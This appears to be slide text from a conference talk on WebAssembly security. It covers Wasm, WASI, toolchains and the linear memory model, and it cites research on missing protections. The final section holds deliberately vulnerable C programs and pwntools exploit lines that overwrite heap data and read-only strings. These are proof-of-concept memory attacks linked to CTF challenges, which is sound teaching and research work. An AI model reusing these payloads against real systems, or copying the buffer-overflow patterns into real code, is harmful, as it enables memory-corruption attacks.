# WebAssembly and securityA new low-level bytecode format and its security implications

Quentin MICHAUD

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- **2** Prerequisites
- **③** Security of the Wasm memory model
- **4** PoCs of Wasm new attacks
- **6** Conclusion

L Introducing WebAssembly

#### Section 1

## Introducing WebAssembly

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- Needs JS to interact with the browser and the DOM
- Announced in 2015 and published in 2017

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- Distribute and manage using containers

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#### WASI

WASI means **WebAssembly System Interface**. It is a set of standards to define how to compile native applications to standalone Wasm by giving definitions for standard OS interfaces.<sup>a</sup>

<sup>a</sup>https://github.com/WebAssembly/WASI

## Section 2

#### Prerequisites

## **Compiling to Wasm**

In theory, you can compile to Wasm from any LLVM-based language. Practically however, the only well-supported languages for all the compilations targets are C/C++ and Rust.

The official Wasm developers page<sup>1</sup> mentions the following list : C/C++, Rust, AssemblyScript, C#, Dart, F#, Go, Kotlin, Swift, D, Pascal, Zig and Grain.

<sup>&</sup>lt;sup>1</sup>https://webassembly.org/getting-started/developers-guide/

There are different ways to compile WebAssembly :

• **Emscripten**<sup>2</sup> : the original way to compile for the web, but also supports WASI and implement its own APIs. Designed for C/C++.

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- **Emscripten**<sup>2</sup> : the original way to compile for the web, but also supports WASI and implement its own APIs. Designed for C/C++.
- wasi-sdk<sup>3</sup> : the official Wasm / WASI LLVM-based toolchain.

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- **Emscripten**<sup>2</sup> : the original way to compile for the web, but also supports WASI and implement its own APIs. Designed for C/C++.
- wasi-sdk<sup>3</sup> : the official Wasm / WASI LLVM-based toolchain.
- Language-specific compilers, such as **cargo** for Rust<sup>4</sup> with specific targets such as wasm32-wasi. Some compilers support only a subset of the possible compilation targets, such as the Go compiler which can only build for in-browser targets.

- <sup>3</sup>https://github.com/WebAssembly/wasi-sdk
- <sup>4</sup>https://www.rust-lang.org/what/wasm

<sup>&</sup>lt;sup>2</sup>https://emscripten.org/

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- Standardized !

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- More verbose and high-level
- Definition of functions, object naming, types
- Standardized !
- More info<sup>5</sup> and the spec<sup>6</sup>

 $\label{eq:start} $$^{ttps://developer.mozilla.org/en-US/docs/WebAssembly/Understanding_the_text_format $$^{ttps://webassembly.github.io/spec/core/text/index.html}$$$ 

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```
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```

(func \$fputs (type 3) (param i32 i32) (result i32) (local i32) local.get 0 call \$strlen local.set 2 i32.const -1i32.const 0 local.get 2 local.get 0 i32.const 1 local.get 2 local.get 1 call \$fwrite i32.ne select)

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- only the Wasm runtime is visible from the OS
- debugging the runtime directly is painful

WAMR<sup>7</sup> and its corresponding CLI iwasm is a Wasm runtime. However, and it seems to be the only one of its kind, it **comes with integrated support for debugging Wasm**  $!^8$ 

iwasm embeds a debugging server

 $^{8} https://bytecodealliance.github.io/wamr.dev/blog/wamr-source-debugging-basic/$ 

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- iwasm embeds a debugging server
- compile to Wasm with DWARF debugging symbols
- run binary with iwasm
- use a custom compiled 11db to connect to iwasm and debug

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## Introducing Wasm security

The detailed position of Wasm regarding its security is explained on a specific page of its documentation<sup>9</sup>. Some extracts :

• WebAssembly programs are protected from control flow hijacking attacks (implicit CFI enforcement)

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- In the future, support for multiple linear memory sections and finer-grained memory operations will be implemented (ASLR, page protections...)
- common mitigations such as data execution prevention (DEP) and stack smashing protection (SSP) are not needed by WebAssembly programs

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- No evaluation of WASI security and runtimes exists yet to my knowledge

# Section 3

#### Security of the Wasm memory model

#### Inner workings

The Wasm user-addressable memory is a simple **linear**, **zero-initialized memory**. It does NOT have :

• Any **paging or mapping mechanism** that would introduce gaps in memory.




Figure 1: A Linux process memory<sup>10</sup>

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- Any paging or mapping mechanism that would introduce gaps in memory.
- Any mechanism for pages or zones permissions.




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- specific use cases may need the development of a specific WASI API

# The Security Risk of Lacking Compiler Protection in WebAssembly

This paper<sup>11</sup> (Stiévenart et al., 2021) explored the **security implications of the Wasm memory model**.

The authors found out that lacking canaries in Wasm allows for **memory bugs** that are more present and more exploitable than in their ELF counterparts with SSP protections on. This shows that the assertion shown on the Wasm website is **fundamentally false**.

<sup>&</sup>lt;sup>11</sup>https://arxiv.org/abs/2111.01421

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- clang v16 today supports SSP
- findings of the article may no longer be true
- conclusion remains : canaries are useful in Wasm

# Everything Old is New Again: Binary Security of WebAssembly

This excellent article (Lehmann et al., 2020)<sup>12</sup> compares the feasibility of memory attacks in Wasm VS in classic binaries. It shows that Wasm not only **lacks protections present in native binaries**, but also enables for **new kind of attacks**. It concludes with the fact **real-world binaries are likely to be vulnerable** to these Wasm-based attacks.

<sup>&</sup>lt;sup>12</sup>https://www.usenix.org/system/files/sec20-lehmann.pdf




Figure 1: An overview of attack primitives ( $\bullet$ ) and (missing) defenses ( $\bullet$ ) in WebAssembly, later detailed in this paper.

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└─ PoCs of Wasm new attacks

# Section 4

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- cannot be realized on a classic binary (on a modern Linux), even with all protections disabled.
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- modified versions available as challenges for the 404CTF<sup>13</sup> (in Exploitation de binaires, challenges Un tour de magie and Une bibliothèque bien remplie).

<sup>&</sup>lt;sup>13</sup>https://github.com/HackademINT/404CTF-2023

# Stack-based heap overflow




Figure 4: WebAssembly linear memory layouts for different compilers and backends.

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└─PoCs of Wasm new attacks

```
int main() {
 int* heap = malloc(sizeof(int));
 *heap = 0xdeadbeef;
 printf("Value before : 0x%0x\n> ", *heap);
 fflush(stdout);
 char input[20];
 fgets(input, 256, stdin);
 printf("Value after : 0x%0x\n", *heap);
 return 0;
```

}

Input of the exploit :

p.sendline(b"A" \* 24 + p32(0x00011940) + b"A" \* 20 + p32(0x50bada55))

Rewriting the heap from the stack is made possible by the absence of unmapped zones, memory permissions, and clear separation between zones.

# Rewriting read-only data

Extract of a bash process memory zones with vmmap using  $gdb-gef^{14}$ :

 Start
 End
 Perm Path

 0x0055555555000
 0x00555555624000
 r- /usr/bin/bash

 0x005555555624000
 0x0055555624000
 r- /usr/bin/bash

 0x005555555624000
 0x0055555654000
 r- /usr/bin/bash

 0x005555555654000
 0x0055555657000
 r- /usr/bin/bash

 0x00555555654000
 0x005555565000
 rw /usr/bin/bash

 0x00555555654000
 0x005555565000
 rw [heap]

 0x007ffff7cdf000
 0x007ffff7ce2000
 rw

<sup>14</sup>https://github.com/hugsy/gef

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. . .

PoCs of Wasm new attacks

By using x/50s 0x00555555624000, we print the 50 first strings in this memory zone :

0x55555562404c: "GNU bash, version %s-(%s)\n" 0x555555624067: "x86\_64-pc-linux-gnu" 0x55555562407b: "GNU long options:\n" 0x55555562408e: "\t--%s\n" 0x555555624095: "Shell options:\n" 0x5555556240a5: "\t-%s or -o option\n" 0x5555556240b8: "%s: cannot allocate %lu bytes"

```
void vuln() {
 const char* FILENAME = "cool.txt":
printf("Comment ca va ? ");
 fflush(stdout):
 char input[20];
fgets(input, 100000, stdin);
FILE* file = fopen(FILENAME, "r");
 int c:
 // snip
while ((c = getc(file)) != EOF) {
     putchar(c);
 7
 fclose(file);
 fflush(stdout):
```

└─ PoCs of Wasm new attacks

Opening evil.txt instead of cool.txt with the following exploit :

p.sendline(b"evil.txt\x00" + b"A" \* 19 + p32(0x00011940))

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- ...and **much more coming** with some imagination (e.g. function calling model)
- According to the articles, real-world exploitation is near !
- Exploitation surface is larger than with traditional C binaries (blockchain, browser...)

Conclusion

# Section 5

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- neglecting the security impacts of potential exploits of the internal Wasm memory
- downsides of this security conception highlighted by the exit from the Web world

Conclusion

Thanks for your attention !

Questions ?